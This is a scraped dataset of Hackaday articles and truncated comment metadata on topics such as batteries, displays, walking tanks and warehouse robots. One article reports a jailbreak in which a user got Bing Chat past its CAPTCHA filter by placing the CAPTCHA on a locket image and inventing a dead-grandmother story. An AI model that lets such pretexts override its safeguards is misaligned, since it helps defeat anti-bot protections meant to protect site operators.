"author": "johnrpm"... | 1,760,372,147.508987 | ||
https://hackaday.com/2023/10/05/social-engineering-chatbots-with-sad-sob-stories-for-fun-and-profit/ | Social Engineering Chatbots With Sad-Sob Stories, For Fun And Profit | Dan Maloney | [
"Artificial Intelligence"
] | [
"ai",
"Bing Chat",
"captcha",
"chat bot",
"LLM",
"security",
"social engineering"
] | By this point, we probably all know that most AI chatbots will decline a request to do something even marginally nefarious. But it turns out that you just might be able to
get a chatbot to solve a CAPTCHA puzzle
(
Nitter
), if you make up a good enough “dead grandma” story.
Right up front, we’re going to warn that fabricating a story about a dead or dying relative is a really bad idea; call us superstitious, but karma has a way of balancing things out in ways you might not like. But that didn’t stop X user [Denis
Shiryaev
] from trying to trick Microsoft’s Bing Chat. As a control, [Denis] first uploaded the image of a CAPTCHA to the chatbot with a simple prompt: “What is the text in this image?” In most cases, a chatbot will gladly pull text from an image, or at least attempt to do so, but Bing Chat has a filter that recognizes obfuscating lines and squiggles of a CAPTCHA, and wisely refuses to comply with the prompt.
On the second try, [Denis] did a quick-and-dirty Photoshop of the CAPTCHA image onto a stock photo of a locket, and changed the prompt to a cock-and-bull story about how his recently deceased grandmother left behind this locket with a bit of their “special love code” inside, and would you be so kind as to translate it, pretty please? Surprisingly, the story worked; Bing Chat not only solved the puzzle, but also gave [Denis] some kind words and a virtual hug.
Now, a couple of things stand out about this. First, we’d like to see this replicated — maybe other chatbots won’t fall for something like this, and it may be the case that Bing Chat has since been patched against this exploit. If [Denis]’ experience stands up, we’d like to see how far this goes; perhaps this is even a new, more practical definition of the Turing Test — a machine whose gullibility is indistinguishable from a human’s. | 23 | 8 | [
{
"comment_id": "6689108",
"author": "paulvdh",
"timestamp": "2023-10-05T11:20:11",
"content": "So these chat bots are learning humans to become better liars.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689143",
"author": "Anon E. Moose",
... | 1,760,372,147.704027 | ||
https://hackaday.com/2023/10/05/rock-salt-may-lead-the-way-to-better-batteries/ | Rock Salt May Lead The Way To Better Batteries | Jenny List | [
"chemistry hacks"
] | [
"battery",
"cathode",
"cobatl",
"lithium",
"rock salt",
"salt"
] | The regular refrain here when it comes to announcements of new battery chemistries hailed as potentially miraculous is that if we had a pound, dollar, or Euro for each one we’ve heard, by now we’d be millionaires. But still they keep coming, and it’s inevitable that there will one or two that break through the practicality barrier and really do deliver on their promise. Which brings us tot he story which has come our way today, the suggestion that
something as simple as rock salt could triple the energy density of a lithium-ion vehicle battery
.
The research led from Lawrence Berkeley National Laboratory started around the use of cobalt in the battery cathode, an expensive and finite resource with the added concern of being in large part a conflict mineral from the Democratic Republic of Congo. Cobalt is used in the cathodes because its oxide crystals form a stable layered structure into which the lithium ions can percolate. Alternative layered-structure metal oxides perform less well in retaining the lithium ions, making them unsuccessful substitutes. It seems that the three-dimensional structure of a rock salt crystal performs up to three times better than any layered oxide, which is where the excitement comes from.
Of course, if it were that simple we’d all be using three-times-more-powerful, half-price 18650s right now, which of course we aren’t. The challenge comes in making a rock salt cathode which both holds the lithium ions, and keeps that property reliably over the thousands of charge cycles needed for a real-world application. This one may yet be anther dollar on that metaphorical pile, but it just might give us the batteries we’ve been looking for.
Then again, when you’re looking at exciting battery chemistry,
why limit yourself to lithium
? | 58 | 4 | [
{
"comment_id": "6689087",
"author": "hartl",
"timestamp": "2023-10-05T08:53:08",
"content": "“… something as simple as rock salt …”They aren’t talking about halite aka NaCl. It’s DRX, disordered rock salt oxides, something like Li1.2 Ni1/3 Ti1/3 Mo2/15 O2.",
"parent_id": null,
"depth": 1,
... | 1,760,372,148.099694 | ||
https://hackaday.com/2023/10/04/lessons-learned-while-building-a-diy-pen-plotter/ | Lessons Learned While Building A DIY Pen Plotter | Al Williams | [
"3d Printer hacks",
"cnc hacks"
] | [
"grbl",
"plotter"
] | There was a time when plotters were the pinnacle of computer graphics output. While they aren’t as common as they used to be, there are some advantages to having a plotter. [Symon] wanted a plotter and
decided to make one from scratch
. Truthfully, he wants to build a CNC machine, so the plotter is just a stepping stone. In fact, some of it may be a little much for just a plotter. Other design choices have worked for the plotter, but don’t look like they will work well for the eventual CNC design.
As an example, the plotter uses 2020 extrusions and lead screws. An Arduino with a CNC shield provides the brains. GRBL, of course, runs on the Arduino, so the whole machine runs fine with normal G-code. This post will be especially interesting if you want to build a plotter or something similar. We especially like that it covers the design rationale for each choice made It is great to learn from others successes and, of course, their mistakes.
If you really want just a plotter, you
don’t have to spend much
. You can even go
super minimal
if you want. | 2 | 2 | [
{
"comment_id": "6689081",
"author": "None",
"timestamp": "2023-10-05T07:49:49",
"content": "Someone has to test it with a 360 cutter pen (gyro-cut type). It would make for a great vinyl cutter.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689155",
"aut... | 1,760,372,147.592576 | ||
https://hackaday.com/2023/10/02/the-path-to-profiling-extraterrestrial-atmospheres-with-astrophotonics/ | The Path To Profiling Extraterrestrial Atmospheres With Astrophotonics | Maya Posch | [
"Space"
] | [
"astrophotonics",
"exoplanet",
"habex"
] | A major part of finding extraterrestrial life is to be able to profile the atmosphere of any planets outside of our solar system. This is not an easy task, as these planets are usually found through the slight darkening of their star as they pass in front of it (transition). Although spectroscopy is the ideal way to profile the chemical composure of such a planet, having a massive, extremely bright star right next to the planet is more than enough to completely overpower the faint light reflecting off the planet’s surface and through its atmosphere. This is a
major issue
that the upcoming
Habitable Exoplanet Imaging Mission
(
HabEx
, also called the Habitable Worlds Observatory, or HWO) hopes to address using a range of technologies, including a
coronagraph
that should block out most of the stellar glare.
While this solves much of the issue, there are still a range of issues which the new field of astrophotonics seeks to address, as detailed in a
recent paper
by Nemanja Jovanovic and colleagues. This involves not only profiling chemical compositions, but also increasing the precision when monitoring for planet transit events using e.g. semiconductors-based laser frequency combs. These are generally combined with a spectral flattener, which in experimental on-chip form are significantly less bulky than previous setups, to the point where they don’t necessarily have to be Earth-based.
Two potential photonic-based planet detection and characterization instrument architectures for the HWO. (Jovanovic et al., 2023)
For profiling a planet’s spectrum, waveguide devices called photonic lanterns are used that provide an adiabatic transition of multimoded input into single mode outputs for use by subsequent instruments. Such a photonic lantern is part of the SCExAO testbed at the
Subaru telescope
in Hawai’i, along with a photonic nulling device called GLINT. The purpose of GLINT is as the device type suggests there to reduce the impact of photonic noise from the star’s light that will still leak past the coronograph.
Although probably not as exciting a subject as pretty pictures of remote galactic phenomena, the field of astrophotonics could provide us with something that’s possibly far more exciting, in the form of being able to perform remote spectroscopy on an exoplanet’s atmosphere and more, along with recording details about its orbit and the like that are far beyond our capabilities today.
(Heading image: Artist’s concept of an Earth-like planet in the habitable zone of its star. Credit:
NASA Ames/JPL-Caltech/T. Pyle
) | 6 | 4 | [
{
"comment_id": "6688591",
"author": "Paul",
"timestamp": "2023-10-03T02:26:16",
"content": "“photonic lanterns are used that provide an adiabatic transition of multimoded input into single mode outputs” sounds like it’s only missing a turbo encabulator.",
"parent_id": null,
"depth": 1,
... | 1,760,372,148.152104 | ||
https://hackaday.com/2023/10/02/2023-halloween-hackfest-ouija-robot-is-even-creepier-than-the-real-thing/ | 2023 Halloween Hackfest: Ouija Robot Is Even Creepier Than The Real Thing | Kristina Panos | [
"Holiday Hacks",
"Raspberry Pi"
] | [
"Adafruit Crickit",
"mannequin",
"Ouija",
"planchette",
"raspberry pi"
] | When you’re a kid, nothing says spooky like turning off the lights and bringing out the Ouija board. For decades, this mystifying oracle has purported to channel the dead by spelling out messages using a board with numbers, letters, yes/no, and a heart-shaped windowed bit of plastic called a planchette.
While the action of a standard Ouija board owes itself to something called the ideomotor phenomenon,
this motorized Ouija robot
by [Ronald McCollum] is powered by tweets.
That’s right, the mannequin hand uses the planchette to spell out the tweets with a rather crisp snap of the wrist. [Ronald] impressively coded all the positions by hand, with each letter being comprised of both a hand position and planchette position.
This project utilizes both an Adafruit Crickit board and a Raspberry Pi, mostly because [Ronald] wanted to use the Crickit for something, and added the Pi to spell out the tweets on the display in real time. Check it out in action after the break, and stick around for a bonus video of the numbers being laser-cut.
Speaking of creepy motion,
here’s a refrigerator clock that uses those colorful alphanumeric magnets
. | 8 | 3 | [
{
"comment_id": "6688632",
"author": "Cogidubnus Rex",
"timestamp": "2023-10-03T08:43:52",
"content": "Please don’t play with the occult.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688653",
"author": "Quake",
"timestamp": "2023-10-03T11:... | 1,760,372,148.241721 | ||
https://hackaday.com/2023/10/02/moducoil-a-modular-coil-for-motor-and-generator-projects/ | ModuCoil – A Modular Coil For Motor And Generator Projects | Navarre Bartz | [
"3d Printer hacks",
"green hacks"
] | [
"3d printed electronics",
"3D printed generator",
"3D printed motor",
"brushless motor",
"electrical generator",
"printed",
"printed electronics"
] | While renewable energy offers many opportunities for decentralizing energy production, it can sometimes feel that doing so on a truly local level remains unachievable with increasingly large utility-scale deployments re-centralizing the technology. [AdamEnt] hopes to help others seize the means of energy production with the
development of the ModuCoil
.
This modular coil is intended to be used in motor and generator applications, and features a 3D printed structure to wind your copper about as well as a series of ferromagnetic machine screws and nuts meant to boost the field strength. This project really emphasizes the rapid part of rapid prototyping with this version 2 of the coil following only a
week after the first
.
[AdamEnt] only reached a peak of ~600 mV in the short test of a single coil, but is optimistic the current design could hit 1V/coil given a fully wound coil actually affixed to something instead of just held in his hand. It’s definitely early stages, but we think this could be the start of an interesting ecosystem of motor and generator designs.
If you want to learn more about how those big wind turbines work,
look here
, or you could check out
a 3D printed brushless motor
, or
where all that copper comes from anyway
. | 2 | 2 | [
{
"comment_id": "6688615",
"author": "daveboltman",
"timestamp": "2023-10-03T06:23:24",
"content": "Nice!“a series of ferromagnetic machine screws and nuts meant to boost the field strength” – One more screw to bring it to six, and it could be a guitar pickup as well, with a magnet in there somewher... | 1,760,372,148.194857 | ||
https://hackaday.com/2023/10/02/hackaday-prize-2023-an-agricultural-robot-that-looks-ready-for-the-field/ | Hackaday Prize 2023: An Agricultural Robot That Looks Ready For The Field | Jenny List | [
"green hacks",
"Robots Hacks"
] | [
"agriculture",
"farming robot",
"Nvidia Jetson"
] | In the world of agriculture, not all enterprises are large arable cropland affairs upon which tractors do their work traversing strip by strip under the hot sun. Many farms raise far more intensive crops on a much smaller scale, and across varying terrain. When it comes to automation these farms offer their own special challenges, but with the benefit of a smaller machine reducing some of the engineering tasks. There’s an entry in this year’s Hackaday prize which typifies this,
[KP]’s Agrofelis robot is a small four-wheeled carrier platform designed to deliver autonomous help on smaller farms
. It’s shown servicing a vineyard with probably one of the most bad-ass pictures you could think of as a pesticide duster on its implement platform makes it look for all the world like a futuristic weapon.
A sturdy tubular frame houses the battery bank and brains, while motive power is provided by four bicycle derived motorized wheels with disk brakes. Interestingly this machine steers mechanically rather than the skid-steering found in so many such platforms. On top is a two degrees of freedom rotating mount which serves as the implement system — akin to a 3-point linkage on a tractor. This is the basis of the bad-ass pesticide duster turret mentioned above. Running it all is a Nvidia Jetson Nano, with input from a range of sensors including global positioning and LIDAR.
The attention to detail in this agricultural robot is clearly very high, and we could see machines like it becoming indispensable in the coming decades. Many tasks on a small farm are time-consuming and involve carrying or wheeling a small machine around performing the same task over and over. Something like this could take that load off the farmer. We’ve been there, and sure would appreciate something to do the job.
While we’re on the subject of farm robots,
this one’s not the only Prize entry this year
.
The
Hackaday
Prize 2023
is Sponsored by: | 12 | 5 | [
{
"comment_id": "6688541",
"author": "KC",
"timestamp": "2023-10-02T19:58:04",
"content": "While I’m not the biggest of pesticides, it does have a certain homestead defense, sentry turret, appeal. Coupled with any of the paintball sentry projects out there and you’d have a decent roving pest deterre... | 1,760,372,148.801396 | ||
https://hackaday.com/2023/10/02/displays-we-love-hacking-the-hd44780-family/ | Displays We Love Hacking: The HD44780 Family | Arya Voronova | [
"Hackaday Columns",
"Parts",
"Slider"
] | [
"character display",
"hd44780",
"hitachhd44780"
] | There are too many different kinds of displays – some of them, you already know. I’d like to help you navigate the hobbyist-accessible display world – let’s take a journey together, technology by technology, get a high-level overview of everything you could want to know about it, and learn all the details you never knew you needed to know. In the end, I’d like you to be able to find the best displays for any project you might have in mind, whatever it could be.
There’s a HD44780 clone IC under this epoxy blob!
CC0 1.0
Today, let’s take a look at a well-known LCD technology – the HD44780 displays, a type of display that we hobbyists have been working with since the 1980s. Its name comes from
the HD44780 driver chip
– a character display driver IC that connects to a raw display panel and provides an easy interface.
HD44780 displays are not known for power efficiency, cutting-edge technology, ultimate flexibility, or small size, for that matter. However, they’re tried and true, easy to drive, require little to no computing power on your MCU, and you will be able to buy them for the foreseeable future. They’re not about to get taken off the market, and they deserve a certain kind of place in our parts boxes, too.
If you work with HD44780 displays for a project or two, you might acquire a new useless superpower – noticing just how many HD44780 displays are still in use in all sorts of user-facing devices, public or private. Going out and about in your day-to-day life, you can encounter a familiar 16 x 2 grid of characters in cash registers, public transport ticket machines, home security panels, industrial and factory equipment, public coffee machines, and other microcontroller-assisted places of all kinds!
Ease Of Use
You really can’t go wrong with a HD44780 display if all you want is some basic text output. We’ve been using them as displays for all sorts of projects, 3D printer UI screens, home server status indicators, robot and other gadget diagnostics, clocks, spectrum analyzers. It used to be that any MCU development board you could buy, would have a HD44780 display on it, or at least a header for it!
A 8×2 display with custom fonts.
By [MikroLogika],
CC BY-SA 3.0
Sending data to a HD44780 display is exceptionally easy – at its core, you send it ASCII, and it dutifully shows ASCII you’ve sent it. There’s no framebuffer to render, no fonts to store and handle, just ASCII, with each character taking up a 5 x 8 portion of the screen. Furthermore, six GPIOs are enough to drive such a display – or two, if you use shift register like the 74HC595 or a very simple I2C GPIO expander chip. Oh, and you can find them $1 apiece online – $0.40 more if you want an I2C adapter board to go with it!
As you might guess, the HD44780 IC is hardwired to show characters – you can’t switch arbitrary pixels on a HD44780 display, all you can do is ASCII, oh, and up to eight custom characters you can upload. The display sizes are also standardized – 16×2 is the main one (also searchable as 1602), but you can also get 20×2, 16×4 and 20×4 displays, as well as 8×1 and 8×2 (2002, 1602, 2004, 0801 and 0802 accordingly).
These are characters, of course, not pixels – not that you can control individual pixels, anyway. Sometimes, you can find even wackier displays, like 40×2, 40×4 or even larger – those might use slightly modified controller chips, or even multiple HD44780 on the same board working together and wired up to the same pin header.
Connections
Speaking of pin headers, the overwhelming majority these displays have a standardized pinout on a line of 0.1 in / 2.54 mm headers, easy to breadboard or connect to a development board – just 14 pins, or 16 if your HD44780 panel has a backlight. These are still LCDs, after all, and you’ll want them to be backlit. Adafruit has also sold RGB backlit HD44780 displays in the past, you know, in case you’re designing gaming peripherals.
Sometimes, the pin headers are different – 8 x 1 and 8 x 2 displays use the same pinout but transferred onto a 2 x 8 pin header instead. Want to use one of those I2C boards with a 8 x 1 or 8 x 2 display? Here’s an adapter PCB. And, if you have a super wide HD44780 display, it will likely use multiple controller chips, and as a result, it’s probably going to be a dual-row pin header with a more special pinout that has multiple E pins, one per each HD44780-compatible controller it would have onboard
For all these pins, a typical HD44780 display only needs six GPIOs – don’t let the eight data pins fool you! This is because HD44780 displays have two modes you can use to send data, 4-bit mode and 8-bit mode. Nobody uses the 8-bit mode. To be exact, there’s no benefit to using 8-bit mode unless you want to update your display really really quickly, or absolutely guarantee error-free operation! In 4-bit mode, you only need to use pins D4-D7, feel free to leave D0-D3 floating or pull them down to GND. The other two GPIOs go to E and RS inputs – there’s also R/W, which you usually set low, but you can also set high to read data from the display! Nobody uses the read feature. Well, again, you can use it to guarantee quick updates and no-error operation by checking that the display has completed your command before sending the next one, but nobody does that and the displays work just fine!
Contrast
A typical HD44780 display module tends to have a quirk – it has a single analog input you must use. This is the Vo input, a pin for contrast voltage for the LCD panel itself, and it differs from LCD to LCD – remember, even if all we’re doing ASCII, HD44780 is old enough that you’ll see the bare metal shine here and there.
MCU devkit with a HD44780 display.
By [Sumanch],
CC BY-SA 3.0
Thankfully, it’s exceptionally easy to tune Vo to a proper value – connect VCC and GND to your display, then connect a 10K potentiometer between VCC and GND with wiper on Vo, and turn it until you can see the first row (and maybe further rows) fill up with boxes. Stop when the boxes look reasonable – that’s your contrast tuned. It might be that your contrast voltage will end up at 1.2 V, or 0.5 V, or close to 0 V – if you’re working with a display you already know, it might be okay to hardwire the value with a resistor divider, but keeping the potentiometer just in case is a good idea.
Oh, VCC, right. These displays tend to work at 5 V as their main voltage – again, the HD44780 was designed in 1980s, so you typically need to have a 5 V source in your project if you want to use one of these. But 3.3 V GPIOs are okay! There are displays that work with 3.3 V VCC, but they’re rare. The main problem isn’t the HD44780, though – it’s the Vo, it’s referenced to VCC instead of GND, so if you need to set Vo to 1V when using 5 V VCC, you’ll need to have it at -0.7 V for 3.3 V VCC. Thankfully, there’s a solution, and you might have already noticed that some HD44780 displays have a SO8 footprint on the back! They’re never ever populated, but you can populate them with an ICL7660 or similar chip to create negative Vo, and get your HD44780 display to work at 3.3 V VCC! Some displays will need negative Vo even without 5 V. I’ve once disassembled a payphone that used a custom HD44780 display, and if I remember correctly, it used -2 V for Vo by default! It makes sense – Vo varies with temperature, and those payphones were built to be weatherproof.
Software Support Abundant
One place where HD44780 displays shine is the sheer amount of software support – interfacing with a HD44780 display is something you really don’t have to give much thought, as it stands. There is hardly a platform you can find, that doesn’t already have a HD44780 library someone wrote for it; whatever language you’re coding in, chances are, there’s a snippet of code that implements the HD44780 command set and is just waiting for you to download it.
Even on Linux, the LCDProc software works with a wide variety of ways you can connect a HD44780 display to your system, and a good amount of UIs you can use to monitor your system’s state. We’ve had HD44780 displays for almost four decades now, and for good reasons.
HD44780 isn’t the best option in many cases. For instance, you will hardly see a modern devboard with HD44780 support nowadays – they’re somewhat bulky, so manufacturers opt to use lightweight and small SPI and OLED screens that are hardly less expensive. That said, HD44780 have a well-deserved place in our toolboxes, and next time you want to simply display a few lines of clearly readable text without giving the UI and fonts much thought, you should absolutely reach for a time-tested character display, plug an I2C backpack onto its back, and save yourself the effort and pins of anything higher-fidelity. Next time, however, we’ll take a look at other options we can reach for in cases the HD44780 literally outweighs its usefulness. | 31 | 16 | [
{
"comment_id": "6688501",
"author": "gregg4",
"timestamp": "2023-10-02T17:07:58",
"content": "I have here perhaps seven such displays that use it. Three are from Parallax. One is from Sparkfun and includes a configured PIC to do translations from serial their way, and the Parallax ones are setup in... | 1,760,372,148.876511 | ||
https://hackaday.com/2023/10/02/modeling-space-hack-chat/ | Modeling Space Hack Chat | Dan Maloney | [
"Hackaday Columns",
"Slider"
] | [
"Hack Chat"
] | Join us on Wednesday, October 4 at noon Pacific for the
Modeling Space Hack Chat
with Bryan Murphy and Sam Treadgold!
We’re going to go out on a limb here and guess that a fair number of Hackaday readers went through a phase of model building growing up. To further push out that branch, we’ll further guess that some of those models included spacecraft, both real and imaginary. And with good reason — you don’t get to space without some interesting engineering, a lot of which is reflected in the design of the vehicles intended to get there. Rockets are cool, satellites are cooler still, and if you can’t actually go to space yourself, or at least be the person building the actual hardware, at least you can build a model and dare to dream.
But while a model on a stand or hanging from the ceiling on fishing line can certainly stimulate the imagination, wouldn’t it be better if a model did something? Bryan Murphy and Sam Treadgold think so, which is why they’ve been working on the “ISS Mimic,” which we recently featured. The 3D-printed 1:100 scale model of the International Space Station is equipped with servos that move the station’s solar panels in real-time based on publically available telemetry. It’s way more engaging than a static model, especially for kids just getting into STEM and related fields.
Bryan and Sam will stop by the Hack Chat to talk not just about the ISS Mimic, but about everything that has to do with modeling space. Who wouldn’t love a desktop version of a Martian or lunar rover keeping pace with its full-scale counterpart? And wouldn’t it be great to be able to visualize just how far away Voyager is right now? If it’s out there, we should be able to bring it home, at least in model form.
Our Hack Chats are live community events in the
Hackaday.io Hack Chat group messaging
. This week we’ll be sitting down on Wednesday, October 4 at 12:00 PM Pacific time. If time zones have you tied up, we have a
handy time zone converter
. | 1 | 1 | [
{
"comment_id": "6688577",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-03T00:33:31",
"content": "A Mars rover on my desk would probably collect dust on its solar panels faster than the real thing!B^)",
"parent_id": null,
"depth": 1,
"replies": []
}
] | 1,760,372,148.516662 | ||
https://hackaday.com/2023/10/02/using-lora-nodes-as-soil-moisture-sensing-antennas/ | Using LoRa Nodes As Soil Moisture Sensing Antennas | Maya Posch | [
"Science"
] | [
"IoT",
"IoUT",
"LoRa",
"soil moisture sensor"
] | Implementation of LoRaWAN-based soil moisture sensing device. (Credit: Maja Škiljo et al., 2022)
Although we generally think of Internet of Things (IoT) and similar devices as things that are scattered around above ground, there are plenty of reasons to also have such devices underground. These so-called IoUT devices are extremely useful when it comes to monitoring underground structures, but communication via radiowaves is obviously impacted when soil is in the way. Although there are ways to get around this, a
2022 paper by Maja Škiljo and colleagues
in
Sensors
covers an interesting way to make use of this signal attenuation property of changing moisture levels in soil.
By quantifying the exact attenuation of the signal received at the gateways, they were able to determine the soil moisture levels around the LoRa node which had been buried at a depth of approximately 14 centimeters. This LoRa node used off-the-shelf components consisting of an ATmega328P-based Arduino Pro Mini and SX1276-based RFM95W LoRa module with a spring antenna.
During experimentation in- and outdoors it was determined that a narrowband, printed (PCB) antenna was optimal for soil moisture sensing purposes. Other than the interesting question of how to keep soil moisture sensing nodes like this powered up over long periods of time (perhaps periodic retrieval to replenish the battery), this would seem to be a very interesting way to monitor the soil moisture levels in something like a field, where each node can provide its own ID and the received signal providing the relevant data in the form of the SNR and other parameters recorded by the gateway.
(Heading image: The measurement results of: (a) RSSI in dBm collected from gateway 2 and (b) soil moisture during the winter period. (Credit: Maja Škiljo et al., 2022) ) | 9 | 5 | [
{
"comment_id": "6688507",
"author": "Joshua",
"timestamp": "2023-10-02T17:38:26",
"content": "“IoUT devices” -> “Internet of Underwater Things devices”.. Never heard before. Very creative naming, though. And so nice on the tongue, too.",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,148.591201 | ||
https://hackaday.com/2023/10/02/why-walking-tanks-never-became-a-thing/ | Why Walking Tanks Never Became A Thing | Lewin Day | [
"Engineering",
"Featured",
"History",
"Misc Hacks",
"Original Art",
"Slider"
] | [
"engineering",
"tanks",
"walking",
"walking robots"
] | The walking tank concept has always captured imaginations. Whether you’re talking about the AT-AT walkers of
Star Wars
, or the Dreadnoughts from
Warhammer 40,000,
they are often portrayed in fiction as mighty and capable foes on the battlefield. These legged behemoths ideally combine the firepower and defense of traditional tanks with the versatility of a legged walking frame.
Despite their futuristic allure, walking tanks never found a practical military application. Let’s take a look at why tracks still rule, and why walking combat machines are going to remain firmly in the realm of fiction for the foreseeable future.
A Flawed Concept
The AT-AT Walkers from Star Wars are intimidating to the uninitiated. Fundamentally, though, they present a huge target to the enemy and are incredibly slow moving. Furthermore, destroying just one leg is enough to take down the entire machine.
World War I saw the dawn of the tank, which quickly proved to be a game-changer on the battlefield. The huge tracked machines offered an excellent way to break stalemates in trench warfare. Tanks had big cannons and machine guns that could blast away fortifications and unprotected troops alike, while they offered significant protection against small arms fire for the crew inside. They also the ability to progress through soft, muddy terrain by virtue of the low ground pressure created by
using tracks instead of wheels.
Tanks, however, have their drawbacks. They’re not always great at dealing with obstacles or highly uneven terrain. Relatively simple fortifications like
dragon’s teeth
can easily stop a tank push, while potentially presenting little difficulty for a walking machine to deal with. For dense, obstacle-ridden areas, like forests or mountain paths, it’s easy to imagine the value of a walking tank that could step over things that would frustrate a modern tank.
Realistically, walking tanks would have a plethora of vulnerabilities in combat scenarios. Intricate leg mechanisms would make them highly susceptible to damage from enemy fire. Furthermore, any hits to a leg would leave the machine potentially unbalanced, or cause it to tip over. It happened in
MechWarrior,
and it would happen in real life, too. Blow a leg off, and you’ve got an easy mission kill. In comparison, blow off a tank track, and the vehicle remains upright and generally relatively repairable.
Remove the legs and replace them with tracks, and you’d have a vehicle with a much lower profile and better survivability. Sure, it couldn’t step on a small house, but when has that ever proven useful in combat?
The walking form factor also presents other problems. Besides sheer mechanical complexity and maintenance concerns, it’s difficult to imagine a walking tank that could be anywhere near as low to the ground as a modern main battle tank. Modern designs aim to be as low profile as possible to make them difficult to engage. An ungainly tall walker could readily be spotted and fired upon at a much greater distance than a low-slung tank that can more easily use terrain as cover.
With the emergence of aerial warfare, precision weaponry, and advanced anti-tank weapons, modern ground units benefit greatly from high mobility. Indeed, the value of speed to mechanized combat has been obvious since World War II. Not only would a walking tank struggle to maneuver quickly to respond to enemy fire, it would struggle to keep up with a modern army consisting of regular tanks, armored personnel carriers, and trucks. At best, one could imagine a walking tank maybe achieving a “jog” of 10 to 20 km/h. Leaving aside the potentially horrid ride for anyone on board, that compares poorly to even the heaviest tanks currently in service. Modern designs can readily hit top speeds of 70 km/h or more.
It also bears thinking about the actual benefits conferred by a walking design. Barring certain passive anti-tank defences and such, how common are situations where a walking tank would be able to proceed where a tracked tank wouldn’t? Then, contrast that against how easy it would be to make defences that trip up a walking design. We’ll take your best answers in the comments below.
A Footnote in History
The closest the world has ever gotten to a walking tank was the GE Walking Truck. It was slow, ungainly, and incredibly taxing to operate.
Credit:
Mytwocents, public domain
Despite the flaws of the idea, the concept has not gone entirely ignored by the military fraternity. The frantic heights of the Cold War era actually saw the idea of a walking military vehicle explored by General Electric in the 1960s. This resulted in the GE Walking Truck, as designed by Ralph Mosher, also known as the “Cybernetic Anthropomorphous Machine” (CAM). Weighing 1,400 kilograms, it was intended to help carry equipment for infantry over rough terrain. The prototype was unarmored and unarmed, serving merely as a proof of concept.
The Walking Truck was controlled by an operator seated inside. The operator would maneuver the machine’s legs with foot and hand movements which activated hydraulic valves, controlling the limbs of the machine. It was one of the first machines to use force feedback controls to aid the operator. The walking mechanism allowed the CAM to walk across varied terrains and carry heavy loads. However, it was painfully slow, with a top speed of just eight kilometers per hour. It also suffered from high power consumption, and was mentally taxing for its operator to drive.
Despite its impressive stature, the Walking Truck was simply not a practical military vehicle. It wasn’t up to its intended task of hauling equipment, let alone serving in any sort of combat role. Even then-ancient tanks from the interwar period would thrash the Walking Truck in a speed contest.
The Walking Truck benefited from force feedback controls that helped the operator intuitively understand what its limbs were doing. This gave it great finesse, but it was mentally exhausting to operate.
Today, we have far more advanced motion control technology, sensors, and controls. Walking robots have also come a long way from the janky experiments of the 20th century. It’s easy to imagine many of the control issues being eliminated in a modern design that could automate the walking task for the operator with sensors and control loops. Regardless, the fundamental flaws of a walking platform would remain.
Indeed, Boston Dynamics would go on to to develop a range of legged robots aimed to do a similar job to the Walking Truck on a smaller scale. The BigDog prototype was eventually developed into the Legged Squad Support System, which helped explore the value of a robotic pack mule to aid dismounted soldiers on the ground. The ability of the robot to work in similar terrain to a walking soldier was of great benefit, but ultimately, the concept was deemed impractical for operational use. Concerns around repairability, control, and utility led to an end of the program in 2015.
Fiction Vs. Reality
The main battle tank concept continues to maintain its place on the battlefield for good reason. “
Firing M1A1 tank in Djibouti
” by Alex C. Sauceda
The limitations of walking machines are so pervasive, it’s no surprise walking tanks have never been built nor deployed in combat. Even in the world of fiction, their limitations and ungainly nature is obvious. In as much as the AT-AT Walkers looked devastating in
Star Wars
, it’s easy to imagine a small cadre of modern tanks speeding into position in the snow and firing off a few rounds before the legged behemoths could even turn to face them.
The same goes for the battle mechs of
MechWarrior
fame. It’s hard to imagine a 14-meter tall mech surviving long when a shell impact to the head would probably topple over even the most well-armored two-legged design. Indeed, these flaws apply to just about any walking tank design you can imagine, barring near-mythical flying designs from anime that are basically another whole thing entirely.
In this real world we live in, the efficiency, ruggedness, and simplicity of regular tracked tanks reigns supreme. As foreboding as walking tanks might look in fiction, they simply would never pose a serious threat in any real combat situation. | 67 | 30 | [
{
"comment_id": "6688460",
"author": "Big bada boom",
"timestamp": "2023-10-02T14:06:33",
"content": "Big leggy Tanks, hmm maybe Cellulite througt bullets and the other Tanks bullied them?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6688462",
"author": ... | 1,760,372,148.750816 | ||
https://hackaday.com/2023/10/02/how-warehouse-robots-actually-work-as-explained-by-amazon/ | How Warehouse Robots Actually Work, As Explained By Amazon | Donald Papp | [
"Robots Hacks"
] | [
"amazon",
"optimized",
"robot",
"warehouse"
] | Amazon has been using robots to manage and automate their warehouses for years. Here’s
a short feature on their current robot, Hercules
. This is absolutely Amazon tooting their own horn, but if you have been curious about what exactly such robots do, and how exactly they help a busy warehouse work better, it’s a good summary with some technical details.
Amazon claims to have over 750,000 robots across their network.
The main idea is that goods are stored on four-sided shelves called pods. Hercules can scoot underneath to lift and move these pods a little like a robotic forklift, except much smaller and more nimble. Interestingly, the robots avoid rotating shelves as much as possible and are designed to facilitate this. To change direction, Hercules sets the pod down, turns, then picks the pod back up.
The overall system is centralized, but Hercules itself navigates autonomously thanks to a depth-sensing camera and a grid of navigation markers present on the floor throughout the facility. Hercules also can wirelessly sense and communicate with nearby human-worn vests and other robots outside its line of sight.
Essentially, instead of human workers walking up and down aisles of shelves to pick products, the product shelves come to the humans. This means the organization and layout of the shelves themselves can be dynamic, higher density, and optimized for efficient robotic access. Shelves do not need to be in fixed rows or aisles, conform to a human-readable categorical layout, nor do they necessarily need walking space between them.
Sometimes robots really are the right tool for the job, and our favorite product-retrieval robot remains [Cliff Stoll]’s
crawlspace warehouse bot
, a diminutive device made to access boxes of product — in [Cliff]’s case, Klein bottles — stored in an otherwise quite claustrophobic crawlspace. | 7 | 5 | [
{
"comment_id": "6688420",
"author": "Matt Brunton",
"timestamp": "2023-10-02T11:22:37",
"content": "This looks very much like the method Ocado use in the UK:https://www.youtube.com/watch?v=ssZ_8cqfBlE&t=2s",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688... | 1,760,372,148.641881 | ||
https://hackaday.com/2023/10/02/passive-desalination-discovers-how-to-avoid-salt-clogging/ | Passive Desalination Discovers How To Avoid Salt-Clogging | Donald Papp | [
"green hacks",
"News"
] | [
"desalination",
"freshwater",
"passive",
